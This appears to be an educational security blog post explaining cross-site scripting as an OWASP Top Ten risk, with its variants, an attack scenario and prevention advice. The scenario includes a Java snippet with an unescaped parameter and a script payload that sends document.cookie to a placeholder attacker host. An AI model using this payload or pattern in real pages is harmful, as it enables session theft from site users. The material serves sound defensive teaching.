Application Security | Data Security | OWASP | Vulnerability

OWASP Top Ten: Cross-Site Scripting (XSS)

Welcome to Secumantra! In this post, we’re going to talk about the number seven vulnerability from OWASP Top Ten which is Cross-Site Scripting (XSS). Cross-site scripting is one of the most common security vulnerability in web applications today. These vulnerabilities can have consequences such as tampering and sensitive data theft.

OWASP (Open Web Application Security Project) is a nonprofit foundation that works to improve the security of a software, specially web application. OWASP Foundation is globally recognized by developers as the first step towards more secure coding. It releases OWASP Top Ten list every 2-3 years sharing the most critical security risks to modern web applications.

What is Cross-Site Scripting?

Cross-site Scripting (also known as XSS) is a client-side code injection attack. It is one of the most common application layer web attacks. The attacker aims to execute malicious scripts on the client side (in a web browser of the victim) rather than on the server side.

Due to the weaknesses present in client side scripting languages (such as HTML and JavaScript), client side scripts can be manipulated to include a malicious code in a legitimate web page or web application. Such a manipulation can embed a script in a page that can be executed every time the page is loaded, or whenever an associated event is performed.

The actual attack occurs when the victim visits the web page or web application that executes the malicious code. The web page or web application becomes a vehicle to deliver the malicious script to the user’s browser. Commonly used platforms for cross-site scripting attacks are forums, message boards, and web pages that allow comments.

A web page or web application is vulnerable to XSS if it uses unsanitized user input in the output that it generates. This user input must then be parsed by the victim’s browser. XSS attacks are possible in VBScript, ActiveX, Flash, and even CSS. However, they are most common in JavaScript, primarily because JavaScript is fundamental to most browsing experiences.

Is the Application Vulnerable To XSS?

Generally XSS vulnerability arises when web applications take data from users and dynamically include it in web pages without first properly validating the data. XSS vulnerabilities allow an attacker to execute arbitrary commands and display arbitrary content in a victim user’s browser.

A successful XSS attack leads to an attacker controlling the victim’s browser or account on the vulnerable web application. Although XSS is enabled by vulnerable pages in a web application, the victims of an XSS attack are the application’s users, not the application itself.

There are three forms of XSS, usually targeting users’ browsers:

Reflected corss-site scripting

The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim’s browser. Typically the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.

Stored corss-site scripting

The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.

DOM corss-site scripting

JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.

Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user’s browser such as malicious software downloads, key logging, and other client-side attacks.

Examples – Attack Scenarios

Example-1: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "<input name='creditcard' type='TEXT'

value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in the browser to:

'><script>document.location=

'http://www.attacker.com/cgi-bin/cookie.cgi?

foo='+document.cookie</script>'.

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Note: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ.

Preventing XSS

Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:

  • Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework’s XSS protection and appropriately handle the use cases which are not covered.
  • Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The OWASP Cheat Sheet ‘XSS Prevention’ has details on the required data escaping techniques.
  • Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP Cheat Sheet ‘DOM based XSS Prevention’.
  • Enabling a Content Security Policy (CSP) as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).
OWASP Risk Rating

Let us look at the OWASP risk rating matrix –

Injection attacks, particularly SQL Injections and Cross-site Scripting (XSS), are not only very dangerous but also widespread. This is more critical in case of legacy applications. What makes injection vulnerabilities particularly scary is that the attack surface is enormous (especially for XSS and SQL Injection vulnerabilities).

A7:2017-Cross-Site Scripting (Source-OWASP)

Furthermore, injection attacks are a very well understood vulnerability class. This means that there are many freely available and reliable tools that allow even inexperienced attackers to abuse these vulnerabilities automatically.

Summary

Cross-Site Scripting (XSS) is one of the widespread vulnerability that affects many web applications. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions or redirect the user to malicious sites.

XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping. It can also happen when an application updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript.

Escaping untrusted HTTP requests as well as validating and/or sanitizing user-generated content will be helpful to avoid this risk. Many modern web development frameworks also provide some built-in cross-site scripting protection.

When securing your applications against any critical vulnerability (specially from OWASP Top Ten), it is always a good practice to follow defense in depth strategy.

Thank you for reading. Stay Safe, Stay Secure!

Similar Posts